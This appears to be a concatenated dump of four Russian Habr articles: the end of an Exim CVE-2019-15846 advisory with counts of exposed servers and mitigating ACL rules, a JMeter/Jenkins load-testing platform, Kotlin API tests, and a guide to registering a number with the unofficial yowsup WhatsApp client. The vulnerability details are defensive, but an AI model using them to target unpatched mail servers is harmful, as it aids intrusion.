**Стоит отметить, что на данный момент разработчики Exim создали PoC уязвимости с выполнением команд на удаленном уязвимом сервере, но в публичном доступе он пока отсутствует. В силу простоты эксплуатации бага это всего лишь вопрос времени, причем довольно короткого.**
С более детальным исследованием компании Qualys можно ознакомиться [здесь](https://github.com/Exim/exim/blob/master/doc/doc-txt/cve-2019-15846/qualys.mbx).

*Использование SNI в TLS*
### Количество потенциально уязвимых публичных серверов
По статистике крупного хостинг-провайдера **E-Soft Inc** на 1 сентября, на арендованных серверах версия 4.92 используется в более чем 70% хостов.
| Version | Number of Servers | Percent |
| --- | --- | --- |
| 4.92.1 | 6471 | 1.28% |
| **4.92** | **376436** | **74.22%** |
| 4.91 | 58179 | 11.47% |
| 4.9 | 5732 | 1.13% |
| 4.89 | 10700 | 2.11% |
| 4.87 | 14177 | 2.80% |
| 4.84 | 9937 | 1.96% |
| Other versions | 25568 | 5.04% |
*Статистика компании E-Soft Inc*
Если обратиться к поисковой системе [**Shodan**](https://www.shodan.io/), то из 5,250,000 в базе серверов:
* около 3,500,000 используют Exim 4.92 (около 1,380,000 с использованием SSL/TLS);
* более 74,000 используют 4.92.1 (около 25,000 с использованием SSL/TLS).
Таким образом, публично известных и доступных Exim потенциально уязвимых серверов насчитывается порядка **1.5 млн**.

*Поиск Exim-серверов в Shodan*
### Защита
* Самый простой, но не рекомендуемый вариант — не использовать TLS, что приведет к пересылке почтовых сообщений в открытом виде.
* Более предпочтительным для избежания эксплуатации уязвимости будет обновление до версии [Exim Internet Mailer 4.92.2](http://exim.org/index.html).
* В случае невозможности обновления или установки пропатченной версии можно задать ACL в конфигурации Exim для опции **acl\_smtp\_mail** со следующими правилами:
```
# to be prepended to your mail acl (the ACL referenced
# by the acl_smtp_mail main config option)
deny condition = ${if eq{\\}{${substr{-1}{1}{$tls_in_sni}}}}
deny condition = ${if eq{\\}{${substr{-1}{1}{$tls_in_peerdn}}}}
``` | https://habr.com/ru/post/467089/ | null | ru | null |
# Нагрузочное тестирование, история автоматизации процесса
Привет, Хабр! Я работаю системным администратором, совмещая это дело с организацией и проведением нагрузочного тестирования для различных проектов (как игровых, так и не очень). Так уж получилось, что нагрузкой занимается только один человек (это я).
В моей компании одновременно работает несколько студий и чтобы сохранять качество каждого игрового проекта каждой из этих студий необходимо проводить нагрузочное тестирование независимо друг от друга, и это привело к тому, что стало необходимо автоматизировать это дело по-максимуму и свести ручное участие к минимуму.
Сам процесс нагрузочного тестирования в своём сознании я делю на несколько этапов:

Первые три этапа это просто анализ системы и разработка скриптов. Дальше начинается самый скучный и долгий итеративный этап, а именно: само тестирование и анализ результатов, в результате которого мы, в зависимости от результатов, переходим к самому интересному — **тюнингу**.
Но этап тюнинга занимает несколько минут, а вот ожидание результатов несколько часов. Далее нужно провести сбор и анализ результатов, что совсем недавно требовало много ручной работы, от которой, собственно мне и предстояло избавиться, чтобы свести весь процесс к более интересным делам: разработке скриптов и тюнингу.
Исходные данные
---------------
В качестве инструмента для нагрузочного тестирования мы (естественно) используем [Apache Jmeter](http://jmeter.apache.org/).
Проекты Innogames используют различные протоколы, которые можно легко эмулировать при помощи данного продукта (конечно зачастую используя дополнительные собственные плагины): http, websockets, protobuf, protobuf+STOMP и даже udp. Также благодаря неплохой системе распределения нагрузки мы можем легко эмулировать необходимое количество VUs (виртуальных пользователей) и трафика. Для примера на одном проекте необходимо было поднять 65k VUs и произвести 3000 запросов/с.
Естественно как и все модные конторы мы стали запускать тесты с использованием Jenkins CI. Но проблема с анализом результатов, а главное **сравнение результатов с результатами предыдущих тестов** была очень актуальна. Так же как и проблема онлайн-мониторинга: тесты, естественно, запускаются в консольном режиме мы имеем только консольный output от jmeter, а хочется графиков.
По началу, как решение неплохо работал [Performance plugin для дженкинса](https://wiki.jenkins.io/display/JENKINS/Performance+Plugin). Но с ростом количества тестов на каждом проекте и с появлением реально больших файлов для анализа (3 часовой тест с 3000 запросов/с производит CSV-файл размером в 4Gb+), этот плагин начал работать часы и падать в OOM вместе с дженкинсом.
Количество проектов, данных, заинтересованных лиц росло, нужно было что-то делать.
Первоначальное решение
----------------------
Поиски ~~смысла жизни~~ какого-либо готового решения никакого результата не дало. Пока я не наткнулся на одну статью, где автор описывал как при помощи python и **pandas** ([библиотека для анализа данных](http://pandas.pydata.org/)) анализировал csv файлы от Jmeter и строил графики. Прочитав это и осознав, что pandas может с легкостью пера работать с гигабайтными файлами и аггрегировать данные из них я написал простенький скрипт который генерировал HTML-репорты с результатами тестов и публиковал их в дженкинсе при помощи [HTML Publisher plugin](https://wiki.jenkins.io/display/JENKINS/HTML+Publisher+Plugin).
Вот ссылка на [этот скрипт](https://github.com/v0devil/jmeter_jenkins_report_generator), не смотрите туда.
На время это решило проблему. Но это было очень плохое решение, с кучей подгружаемых картинок и Java-скриптов, которые читали локальные CSV файлы и строили таблички.
В какое-то время репорты стали также долго подгружаться (по несколько минут), это всех бесило и кое-кто предложил рассмотреть вариант с сотрудничеством с одним из известных SaaS — провайдеров нагрузочного тестирования, сервис которых построен на генерации нагрузки при помощи бесплатного Jmeter, но они это дело продают за немалые деньги, предлагая удобную среду для запуска тестов и анализа результатов. Я не очень люблю эти сервисы, хотя они делают много для того же Jmeter (например BlazeMeter).
Надо сказать, я не понял как они собирались эмулировать нестандартные протоколы и поднимать большое количество VUs, но ***идея*** их удобной среды для нагрузочного тестирования с этими всеми графиками и отчетами мне понравилась, как и то что этим могут пользоваться множество человек одновременно.
Держа в уме pandas я решил попытаться придумать своё решение.
Решение
-------
Наконец-то мы подошли к главной теме. В течениие немалого времени проб и ошибок, а также изучения Django, HTML, java-скриптов и прочего, родилось следующее решение, названное мной **Innogames Load Testing Center** (далее **LTC**).
Скачать и поучаствовать в развитии проекта (благо делать там есть много чего) вы можете с официального гит-хаба компании: [Jmeter Load Testing Center](https://github.com/innogames/JMeter-Control-Center).
Это web-приложение на Django и использует Postgres для хранения данных. Для анализа файлов с данными используется вышеупомянутый модуль pandas.
Состоит из следующих основных компонентов (на языке Django — приложений):
* **Dashboard** — фронтальная страница с общей информацией о последних запущенных тестах.
* **Analyzer** — здесь строить репорты и анализировать результаты тестов
* **Online** — позволяет наблюдать за тестами в режиме онлайн
* **Controller** — здесь можно настраивать и запускать тесты (в процессе разработки)
* **Administrator** — для настройки разных параметров/переменных.
На данный момент Jenkins пока никуда не делся, приложение Controller пока ещё находится в разработке. Но в скором времени возможно заместим и дженкинс.
Таким образом, если пользователь по имени Ганс захочет запустить тест он открывает Jenkins выбирает проект и нажимает пуск:

После этого Jenkins запускает главный инстанс Jmeter на основном сервере (назовем его **admin.loadtest**, там же находятся сам Jenkins и LTC), а также Jmeter-серверы на одной или нескольких удаленных виртуальных машинах в необходимом количестве (об этом позже) и начинается собственно сам процесс тестирования.
В процессе теста в папке $WORKSPACE проекта создается и пополняется данными CSV-файл с результатами JMeter, а также ещё один CSV-файл с данными мониторинга удаленных хостов.
Далее Ганс может открыть LTC и наблюдать за прохождением теста в режиме онлайн. (в это время приложение будет парсить вышеупомянутые CSV файлы и класть их во временные таблицы в базу, из которой Online рисует графики:

Или же этот же Ганс может подождать до конца теста, когда в конце специальный скрипт соберет все данные в базу и их можно будет использовать в Analyzer для анализа и сравнения с другими результатами:

Осталась последняя проблема: проектов несколько, проекты требуют разные мощности для проведения нагрузки (читай, эмулируют разное количество VUs), пользователи могут запускать их одновременно, а могут и нет. Как распределить имеющиеся допустим 10 виртуальных машин-генераторов на всех. Можно назначить каждый проект под определённые генераторы (в начале так и было), можно составить расписание или использовать блокирующий плагин для Jenkins, а можно сделать что-то умное интересное. Об этом ниже.
Общее устройство
----------------
Как я уже сказал бекенд написан на фреймворке Django. В разработке фронтенда я использовал все стандартные библиотеки: jquery и bootstrap. В качестве графиков мне нужно было решение, которое легко нарисует данные полученные в формате JSON. Неплохо с этим справляются [c3.js](http://c3js.org/).
В таблицах в базе данных обычно присутствует пара ключей и одно поле с типом данных JSONField(). JSONField используется поскольку впоследствии можно легко добавлять новые метрики в эту таблицу, не меняя её структуру.
Таким образом типичная модель, которая хранит данные о временах отклика, количестве ошибок и прочего в течение одного теста выглядит очень просто:
```
class TestData(models.Model):
test = models.ForeignKey(Test)
data = JSONField()
class Meta:
db_table = 'test_data'
```
Сами данные в поле data — это, соответственно, JSON`ы хранящие информацию, агрегированную за одну минуту:

Для извлечения данных из этой таблицы в файле urls.py присутствует один эндпоинт, который вызывает функцию, обрабатывающую эти данные и возвращающую удобно читаемый JSON:
Эндпоинт:
```
url(r'^test/(?P\d+)/rtot/$', views.test\_rtot),
```
Функция:
```
def test_rtot(request, test_id):
# Получаем timestamp начала теста
min_timestamp = TestData.objects. \
filter(test_id=test_id). \
values("test_id").\
aggregate(min_timestamp=Min(
RawSQL("((data->>%s)::timestamp)", ('timestamp',))))['min_timestamp']
# Извлекаем данные из БД, отнимаем полученный выше min_timestamp, чтобы получить абсолютное время теста, сортируем по timestamp, кастим в JSON и возвращаем.
d = TestData.objects. \
filter(test_id=test_id). \
annotate(timestamp=(RawSQL("((data->>%s)::timestamp)", ('timestamp',)) - min_timestamp)). \
annotate(average=RawSQL("((data->>%s)::numeric)", ('avg',))). \
annotate(median=RawSQL("((data->>%s)::numeric)", ('median',))). \
annotate(rps=(RawSQL("((data->>%s)::numeric)", ('count',))) / 60). \
values('timestamp', "average", "median", "rps"). \
order_by('timestamp')
data = json.loads(
json.dumps(list(d), indent=4, sort_keys=True, default=str))
return JsonResponse(data, safe=False)
```
На фронтенде мы имеет c3.js график которые обращается к этому эндпоинту:
```
var test_rtot_graph = c3.generate({
data: {
url: '/analyzer/test/' + test_id_1 + '/rtot/',
mimeType: 'json',
type: 'line',
keys: {
x: 'timestamp',
value: ['average', 'median', 'rps'],
},
xFormat: '%H:%M:%S',
axes: {
rps: 'y2'
},
},
zoom: {
enabled: true
},
axis: {
x: {
type: 'timeseries',
tick: {
format: '%H:%M:%S'
}
},
y: {
padding: {
top: 0,
bottom: 0
},
label: 'response times (ms)',
},
y2: {
min: 0,
show: true,
padding: {
top: 0,
bottom: 0
},
label: 'Requests/s',
}
},
bindto: '#test_rtot_graph'
});
```
В итоге мы имеем это:

Собственно, всё приложение и состоит из графиков, которые рисуют данные из соответствующих эндопоинтов на бэкенде.
Как работает вся система для анализа тестов вы можете увидеть из исходных кодов, далее я хочу рассказать процесс запуска нагрузочного теста в Innogames (и эта часть пока актуальна только для нашей компании).
Fire!
-----
### Load testing environment
Как я уже сказал вся среда нагрузочного тестирования состоит из одного главного сервера admin.loadtest, и нескольких generatorN.loadtest серверов.
**admin.loadtest** — виртуалка Debian Linux 9, 16 ядер/16 гигов, на нём работают Jenkins, LTC и другой дополнительный маловажный софт.
**generatorN.loadtest** — голые виртуалки Debian Linux 8, с установленной Java 8. мощность разная, но допустим 32 ядра/32 гига.
На admin.loadtest в качестве собранного заранее deb-дистрибутива установлен Jmeter (последняя версия с самыми основными плагинами) в папке **/var/lib/apache-jmeter**.
### GIT
Тест-план для каждого проекта находится в отдельном проекте на нашем GitLab внутри InnoGames, соответственно разработчики или QA из каждой команды могут вносить свои поправки. И каждый проект сконфигурирован для работы с Git:

Каждый проект состоит из:
*./jmeter\_ext\_libs/src/
./test-plan.jmx
./prepareAccouts.sh*
* jmeter\_ext\_libs — папка с исходными кодами дополнительных плагинов которые собираются при помощи Gradle и кладутся в /var/lib/apache-jmeter/lib/ext перед каждым тестом.
* test-plan.jmx — тест-план
* \*.sh — дополнительные скрипты для подготовки пользовательских аккаунтов и прочего.
### Test-plan
Каждый тест-план в качестве тред-группы использует **Stepping Thread Group** с тремя переменными: thread\_count, ramp\_up, duration:

Значения для данных переменных приходят из Jenkins при запуске теста, но для начала их надо соответствующим образом объявить в главном элементе тест-плана в User Defined Variables, как и все остальные параметризуемые переменные. Одна из важных, назовём её pool — в нее посылается последовательный номер для каждого запущенного Jmeter-сервера, чтобы впоследствии разграничить используемые пулы данных (например логины пользователей):

где в ${\_\_P(THREAD\_COUNT,1)}: THREAD\_COUNT — имя переменной которая придет из Jenkins, 1 — дефолтное значение, если не придет.
Также в каждом тест-плане есть **SimpleDataWriter** который пишет результаты выполнения сэмплеров в CSV-файл. В нём активированы следующие опции:
```
true
true
true
true
true
`true`
true
true
true
```
### Jenkins
Перед запуском теста каждый пользователь может задать некоторые параметры которые передаются в вышеупомянутые переменные тест-плана Jmeter:

#### Запуск теста
Теперь перейдём к скриптам. Для начала в pre-build скрипте подготавливаем дистрибутив Jmeter:
* Создаём временную папку вида /tmp/jmeter-xvgenq/
* Копируем туда основной дистрибутив из /var/lib/apache-jmeter/
* Собираем дополнительные плагины из папки jmeter\_ext\_libs (если они есть).
* Копируем собранные \*.jar в /tmp/jmeter-xvgenq/
* Готовый временный дистрибутив Jmeter далее мы распространим на генераторы нагрузки.
```
#!/bin/bash
export PATH=$PATH:/opt/gradle/gradle-4.2.1/bin
echo "JMeter home: $JMETER_HOME"
JMETER_INDEX=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) # генерим рандомное имя
JMETER_DIR="/tmp/jmeter-$JMETER_INDEX"
echo "JMeter directory: $JMETER_DIR"
echo $JMETER_DIR > "/tmp/jmeter_dir$JOB_NAME"
mkdir $JMETER_DIR
cp -rp $JMETER_HOME* $JMETER_DIR
if [ -d "$WORKSPACE/jmeter_ext_libs" ]; then
echo "Building additional JMeter lib"
cd "$WORKSPACE/jmeter_ext_libs"
gradle jar
cp ./build/libs/* $JMETER_DIR/lib/ext/
ls $JMETER_DIR/lib/ext/
fi
cd $WORKSPACE
```
Далее возвращаемся к последней задаче: мы имеем 10 виртуальных машин предназначенных для генерации нагрузки (мы также не знаем запущены ли тесты от других проектов) и исходя из требуемого суммарного количества эмулируемых тредов THREAD\_COUNT необходимо запустить на этих виртуальных машинах (разных) некоторое количество Jmeter-серверов, достаточных для эмуляции необходимой нагрузки.
В нашем скрипте это выполняется при помощи трех строк в bash-скрипте Jenkins, которые, естественно, ведут к более серьёзным вещам скриптах самого LTC.:
```
REMOTE_HOSTS_DATA=`python /var/lib/jltc/manage.py shell -c "import controller.views as views; print(views.prepare_load_generators('"$JOB_NAME"','"$WORKSPACE"','"$JMETER_DIR"', '$THREAD_COUNT', '$duration'));"`
THREADS_PER_HOST=`python -c 'import json,sys;data=dict('"$REMOTE_HOSTS_DATA"');print data["threads_per_host"]'`
REMOTE_HOSTS_STRING=`python -c 'import json,sys;data=dict('"$REMOTE_HOSTS_DATA"');print data["remote_hosts_string"]'`
```
Итак, в первой строчке:
Вызываем **prepare\_load\_generators** функцию и передаем в нее название проекта, путь к директории workspace проекта, путь к временному дистрибутиву Jmeter (/tmp/jmeter-xvgenq/), созданному выше, длительность теста и самое главное — желаемое суммарное количество эмулируемых тредов $THREAD\_COUNT.
Что происходит далее вы можете увидеть в репозитории, если в общем:
* Исходя из заданного thread\_count по выдуманным мной формулам рассчитывается нужное количество Jmeter-серверов — X.
* Далее исходя из текущей нагрузки и доступной памяти на машинах generatorN.loadtest на каждой из этих машин запускается n-ое количество Jmeter-серверов пока общее их число не станет равным X.
* На каждый из отобранных generatorN.loadtest посредством rsync загружается тот временный дистрибутив Jmeter:
* На каждом генераторе запускается n-ое количество Jmeter-серверов (полученное на предыдущем шаге), каждому запущенному процессу мы передаем последовательный номер pool, для распределения пулов данных (как я писал ранее):
* Все данные о запущенных Jmeter-инстансах сохраняются в БД, после теста все они будут уничтожаться исходя из этих данных.
* В конце функция возвращает JSON вида:
```
{
“remote_hosts_string”: “generator1.loadtest:10000,generator2.loadtest:10000, generator2.loadtest:10001”,
"threads_per_host": 100
}
```
Собственно в данный момент все Jmeter-сервера запущены и ждут когда к ним подключатся и начнется сам тест. Таким образом, далее во второй и третьей строчки мы берем значения из этого JSON и передаем в главный инстанс Jmeter, изначальное значение THREAD\_COUNT делится между удалёнными jmeter-серверами и на каждый приходится threads\_per\_host (обратите внимание, что в качестве THREAD\_COUNT мы передаём вышеполученное значение threads\_per\_host):
```
java -jar -server $JAVA_ARGS $JMETER_DIR/bin/ApacheJmeter.jar -n -t $WORKSPACE/test-plan.jmx -R $REMOTE_HOSTS_STRING -GTHREAD_COUNT=$threads_per_host -GDURATION=$DURATION -GRAMPUP=$RAMPUP
```
где $JMETER\_DIR — папка с временным дистрибутивом Jmeter (/tmp/jmeter-xvgenq/).
Для запущенных удалённых Jmeter-серверов, существует своя модель. Мы сохраняем данные о том какой тест запущен, на какой виртуальной машине, порт, id данного процесса и прочее. Всё это необходимо для дальнейшей остановки теста, когда эти же самые jmeter-сервера необходимо уничтожить:
```
class JmeterInstance(models.Model):
test_running = models.ForeignKey(TestRunning, on_delete=models.CASCADE)
load_generator = models.ForeignKey(LoadGenerator)
pid = models.IntegerField(default=0)
port = models.IntegerField(default=0)
jmeter_dir = models.CharField(max_length=300, default="")
project = models.ForeignKey(Project, on_delete=models.CASCADE)
threads_number = models.IntegerField(default=0)
class Meta:
db_table = 'jmeter_instance'
```
Также на фронтальной странице у нас есть специальные красивые таблички с информацией о запущенных тестах и статусе генераторов нагрузки:

#### Остановка теста
После теста необходимо уничтожить все запущенные Jmeter-сервера, удалить временные Jmeter-дистрибутивы и собрать результаты.
В post-build скрипте добавляем:
```
JMETER_DIR=$(cat /tmp/jmeter_dir$JOB_NAME)
echo "Removing Jmeter dir from admin: $JMETER_DIR"
rm -rf $JMETER_DIR
python /var/lib/jltc/manage.py shell -c "import controller.views as views; print(views.stop_test_for_project('"$JOB_NAME"'))"
```
В начале удаляем временный дистр с главного сервера, далее вызываем функцию **stop\_test\_for\_project**, передавая в нее название проекта. Функция проходит по специальной таблице в БД, в которой хранится информация о запущенных Jmeter-инстансах и останавливает их.
И самый последний шаг, сбор результатов можно произвести двумя путями, запустить скрипт:
```
python /var/lib/jltc/datagenerator_linux.py
```
Или локально вызвать веб сервис:
```
curl --data "results_dir=$JENKINS_HOME/jobs/$JOB_NAME/builds/$BUILD_NUMBER/" http://localhost:8888/controller/parse_results
```
На данный момент я использую скрипт, он пробегается по всем джобам в папке дженкиса и сравнивает с тем, что есть в базе, сохраняя консистентность.
#### Дополнительно
В LTC я встроил парочку kronos — джобов которые каждые N минут собирают информацию о виртуальных машинах и запущенных java-процессах jmeter-инстансов, Например, собирая S0U, S1U, EU и OU для процесса jmeter-сервера и потом разделив сумму данных метрик на количество тредов, запущенных на нем — я получаю средний размер памяти, потребляемой одним тредом. Метрика довольно странная, а может и глупая, но помогает примерно рассчитать нужный размер памяти для java-процесса, требуемый для эмуляции определённого количества тредов.
Заключение
----------
Само собой многие используют встроенную систему репортинга Jmeter, которая также не стоит на месте и постоянно развивается. Если кому-то необходимо хранить данные и сравнивать результаты между различными тестами, то он может воспользоваться сервисами наподобие BlazeMeter.
В моих реалиях данные сервисы будут довольно дороги, да и у нас в наличии достаточное количество мощностей для генерации нагрузки, поэтому я попытался создать “инсайд”-решение.
Оно уже умеет многое, но далеко не идеально и дел не впроворот. Так что сейчас нахожусь в надежде, что есть ещё люди со схожими проблемами.
Всем спасибо и удачи. | https://habr.com/ru/post/342380/ | null | ru | null |
# Как Kotlin может помочь в тестировании API: кейс Русфинанс Банка

Заявленный в заголовке Kotlin больше ассоциируется с Android-разработкой, но почему бы не поэкспериментировать? Мы с его помощью нашли способ немного упростить автоматизацию тестирования API одного из наших сервисов, а также облегчить работу тестировщикам, мало знакомым с программированием и нюансами языка Java.
Чем мы занимаемся? Разрабатываем сервис для отправки брокерских анкет для расчёта и получения решения по ним. И несмотря на то, что это банковское решение, разработку ведёт небольшая scrum-команда, тестированием в которой занимаются 1-2 специалиста в зависимости от загрузки и ситуации на проекте.
Под катом расскажем о результатах наших экспериментов, которые мы с удовольствием перенесли в продакшн.
### Без лица
Наш сервис разрабатывался для интеграции с интерфейсом партнеров и не имеет собственного UI. Поэтому в данном случае тестирование API напрямую — это единственный доступный вариант. Хотя и при наличии интерфейса API-тесты обладают рядом преимуществ:
* позволяют начать тестирование уже на этапе разработки сервисов;
* упрощают локализацию ошибок;
* в целом уменьшают время на тестирование.
Наш сервис включает в себя набор API для передачи данных анкеты клиента на расчёт и для получения решения по автокредиту. В качестве основных высокоуровневых задач по тестированию можно выделить следующие проверки:
* формат полей и параметров;
* корректность кодов состояния и сообщений об ошибках;
* обязательные поля и логика сервисов.

### Переломный момент
MVP сервиса команда подготовила в очень сжатые сроки, а автоматизированные тесты изначально были написаны разработчиком продукта. Автотесты было быстрее и удобнее включить в проект, поэтому изначально они были тесно связаны с его кодом и базировались на стеке Java, REST-assured, с тестовым фреймворком TestNG.
С развитием проекта росла вовлеченность тестировщиков в процесс автоматизации. На данный момент задачи поддержки и обновления автотестов лежат полностью на отделе тестирования. В связи с этим появилась необходимость скорректировать подход к автоматизации — максимально упростить тесты и сделать их независимыми от основного кода. И, тем самым, решить возникающие трудности:
* связь с кодом делает тесты более уязвимыми к любым проектным изменениям, требует больших трудозатрат на поддержку работоспособности;
* сложные взаимосвязи увеличивают время на поиск информации и расследование ошибок;
* к работе с Java кодом сложно подключать новых сотрудников отдела тестирования, требуется обучение тестировщиков и значительное время для ввода в проект.
Поэтому мы решили изменить подход к тестированию и сформулировали следующие требования к новым инструментам:
* полная совместимость с Java, позволяющая переписывать проверки поэтапно, при этом продолжая работать со старыми тестами;
* простой, интуитивно понятный код;
* бесплатность и стабильность языка;
* выделение автотестов в отдельный проект.
### При чём тут Kotlin
Нашим потребностям максимально отвечает язык Kotlin.

Кроме полной совместимости с Java в Kotlin нас заинтересовали следующие особенности:
* лаконичность языка делает код наглядным и легко читаемым;
* синтаксический сахар;
* интуитивно понятный код и лёгкое вхождение специалистов в проект;
* возможность переводить автотесты с Java на Kotlin постепенно и безболезненно, при необходимости частично.
Минусы, безусловно, тоже имеются, особенно в сравнении с Java. Во-первых, относительно небольшое сообщество: найти помощь и ответы на вопросы по Java гораздо проще, чем в случае с Kotlin. Во-вторых, в целом Java — более универсальный язык с большими возможностями и большим количеством наработок и библиотек.
Но, честно говоря, для целей тестирования нам не нужны настолько широкие возможности, которые может дать лишь Java. Поэтому мы отдали предпочтение простоте и лаконичности Kotlin.
### От слов — к делу
В результате частичного перехода на новый язык мы получили заметный выигрыш по трудозатратам специалистов, значительное упрощение кода и сокращение его объёма. Это хорошо заметно на конкретных примерах из тестов нашего сервиса для обработки брокерских анкет.
В Kotlin можно инициализировать объект запроса с помощью одной строки кода. Например, класс ApplicationDTO (для отправки анкеты на решение) и ErrorDTO (ошибки, приходящие от сервиса) выглядят так:

Kotlin позволяет устанавливать значения полей при инициализации. Это очень экономит время написания тестов: при создании объекта поля уже заполнены валидными данными, мы изменяем только значения, которые относятся к текущей проверке.
Аннотация JsonIgnoreProperties позволяет не указывать все поля в классе, если для тестов они не нужны и их не нужно проверять. Если придёт какое-то поле, не указанное в описании, тест не упадёт с ошибкой.
Вопросительный знак у типа переменной показывает, что в какой-то момент она может принимать значение null. Но при использовании переменной это нужно будет не забыть учесть и обработать. Наконец, в отличие от тестов на Java, здесь можно изящно избежать NullPointerException.
Проиллюстрируем на простом примере проверки ошибки при некорректном логине:
```
class ApplicationTests {
val DEFAULT_LOGIN = "consLogin"
val ERROR_CODE = "3"
val BASE_URI = "https://base_url.com"
@Test
fun incorrectLogin() {
val incorrectLogin = DEFAULT_LOGIN + "INCORRECT";
val res = given()
.spec(spec)
.body(ApplicationDTO)
.`when`()
.post(endpointApplication(incorrectLogin)
.then()
.statusCode(400)
.extract().`as`(ErrorDTO::class.java)
assertThat(res.error_message).containsIgnoringCase("Указан неверный логин или пароль")
assertThat(res.error_code).isEqualToIgnoringCase(ERROR_CODE)
}
companion object{
private var spec: RequestSpecification? = null
@JvmStatic
@BeforeClass
fun initSpec() {
spec = RequestSpecBuilder()
.setContentType(ContentType.JSON)
.setBaseUri(BASE_URI)
.addFilter(ResponseLoggingFilter())
.addFilter(RequestLoggingFilter())
.build()
}
}
}
```
Мы создаем спецификацию для запросов в BeforeClass, которую переиспользуем во всех тестах этого класса. Jackson сериализует и десериализует json объекты, что упрощает дело: с ними не нужно работать как со строками, из-за этого существенно снижается количество ошибок.

С Kotlin мы существенно сокращаем количество кода, а значит, облегчаем жизнь и «писателям», и его «читателям». Класс ApplicationDTO уже содержит конструктор и некоторые другие методы (hashCode(), copy() и др.) — нам не нужно «перегружать» ими код и начинающие разработчики автотестов не отвлекаются на них. Их не нужно актуализировать при каких-то изменениях, что сокращает время внесения правок в тесты.
Также очень удобно, что Kotlin поддерживает именованные аргументы — код читается довольно легко, и нет надобности самим прописывать сеттеры для классов json объектов.
### Пробовать новое — бесплатно
Хотелось бы отметить открытость и бесплатность Kotlin и всех используемых нами библиотек, что заметно упрощает работу и расширяет возможности для экспериментов и внедрения новых подходов. Согласитесь, бесплатно всегда проще пробовать новое, и в случае неудачи возвращаться к старым наработкам.
В будущем мы планируем развивать новый подход и масштабировать его на другие проекты, переводить остальные тесты API и пользовательского интерфейса на Kotlin.
**P.S.:** Несмотря на то, что Kotlin ассоциируется в первую очередь с Android-разработкой, сфера его использования, как вы поняли, этим вовсе не ограничивается. Сокращение времени на написание кода, его простота и лаконичность помогут снизить трудозатраты при решении многих задач. Если у нас появятся новые кейсы с Kotlin, мы обязательно расскажем о них [тут](https://habr.com/ru/company/rusfinancebank/blog/). | https://habr.com/ru/post/510268/ | null | ru | null |
# Отправка служебных сообщений в whatsapp через yowsup2 методом http-get, в том числе отчетов бэкап-сервера Bacula
 Достаточно много видел примеров использования whatsapp-уведомлений с zabbix, и другими системами мониторинга, но на собственные эксперименты с whatsapp меня вдохновила [эта статья](http://bacula.us/sending-notification-whatsapp/). Однако если с системами мониторинга все ясно, то при наличии прекрасной «врожденной» системы email-оповещений, городить огород ради одной bacula было откровенно лень. Да и вдруг, потом захочется поставить zabbix или еще что-то куда-то послать? Каждому боту по ватсапу?
Так что, пусть это будет что-то более универсальное. Например, отдельный сервер, который сможет обслужить bacula, zabbix, syslog-сервер, сайт или даже виндоусы с макинтошами.
UPD: Сразу оговорюсь, что задачи «наиболее простым путем отправить произвольное сообщение на телефон» не стояло, так как есть джаббер, смс, любой мобильный email-клиент, наконец. Задача была: а) приспособить именно whatsapp, так как он уже есть в моем телефоне и еще около 1 млрд других, в отличие от того же пресловутого telegram б) сделать как можно более универсальный шлюз, с которого можно быстро перенаправить рассылку хоть куда, а то и дублировать.
Приступим. Я ставил на «пустой» Centos 7 amdx64 в lxc-контейнер под proxmox ve 4.4.
Первое, что обычно делаю — обновляю, подключаю epel и ставлю ssh, чтобы потом удобно работать
```
yum -y update
yum -y install epel-release openssh-server
systemctl enable sshd
systemctl start sshd
```
Далее ставим зависимости и [yowsup](https://github.com/tgalal/yowsup):
```
yum -y install unzip wget tar nano
yum -y install python python-dateutil python-argparse
yum -y install libtiff-devel libjpeg-devel libzip-devel freetype-devel lcms2-devel
yum -y install gcc
yum -y install protobuf pycrypto python-axolotl-curve25519
yum -y install python-devel python-pip python-imaging
pip install --upgrade pip
```
Скачиваем, распаковываем и устанавливаем yowsup:
```
cd /usr/src/
wget https://github.com/tgalal/yowsup/archive/master.zip
unzip master
cd yowsup-master/
python setup.py install
```
Регистрируем номер мобильного. Симка вставлена в мобильник (или шлюз, в моем случае) на который придет смс. Номер не должен быть засвечен в whatsapp. Сначала запрашиваем код регистрации:
```
yowsup-cli registration --requestcode sms --phone 7xxxxxxxxxx --cc 7 --mcc 250 --mnc xx --env android
```
> phone — ваш номер телефона, начинающийся с 7
>
> cc — country code — это код страны (для России это 7)
>
> mcc — mobile country code — это другой код страны (для России это 250)
>
> mnc — mobile network code — это код вашего оператора. (01 — МТС, 02 — мегафон, 20 — теле2, 99 — билайн)
В ответ придет смс с кодом вида XXX-XXX, который используем для подтверждения регистрации
```
yowsup-cli registration --register xxx-xxx --phone 7хххxxxxxxx --cc 7
```
Сервер сообщит об удачной регистрации:
> status: ok
>
> kind: free
>
> pw: X1isWwe+25d/aOXJpcSduzTV7fg=
>
> price: 33,00 руб.
>
> price\_expiration: 1495380655
>
> currency: RUB
>
> cost: 33.00
>
> expiration: 4444444444.0
>
> login: 7хххххххххх X1isWwe+37d/aOXJpcSduzTV7fg=
>
> type: new
Записываем пароль из переменной pw в конфиг-файл
```
nano yowsup-cli.config
```
В этом файле три строчки (страна, номер, пароль):
```
cc=7
phone=7хххxxxxxxx
password=X1isWwe+25d/aOXJpcSduzTV7fg=
```
Собственно, все. Пробуем
```
yowsup-cli demos -c yowsup-cli.config -s 7хххххххххх "alarm"
```
Если сообщение пришло, двигаемся дальше. Чтобы комфортно побаловаться живым whatsapp-чатом из терминала — нужна кириллица. Если ее нет, а вместо нее ошибки вида «ascii … ordinal not in range(128)» — надо поставить локаль и поправить один файл.
С `localectl` в моем сетапе какие-то проблемы, поэтому:
```
nano /etc/locale.conf
```
пишем `LANG=ru_RU.UTF-8`, сохраняем и рестартуем сессию
Следующим шагом надо поправить кодировку yowsup. Делаем, как сказано [тут](https://github.com/tgalal/yowsup/issues/1592).
```
nano /usr/lib/python2.7/site-packages/yowsup2-2.5.2-py2.7.egg/yowsup/demos/cli/layer.py
```
После строки import sys добавить:
```
reload(sys)
sys.setdefaultencoding('utf8')
```
должно получиться:
```
from .cli import Cli, clicmd
from yowsup.layers.interface import YowInterfaceLayer, ProtocolEntityCallback
from yowsup.layers.auth import YowAuthenticationProtocolLayer
from yowsup.layers import YowLayerEvent, EventCallback
from yowsup.layers.network import YowNetworkLayer
import sys
reload(sys)
sys.setdefaultencoding('utf8')
```
Теперь можно запускать живой чат и слать-принимать сообщения кириллицей. Have fun.
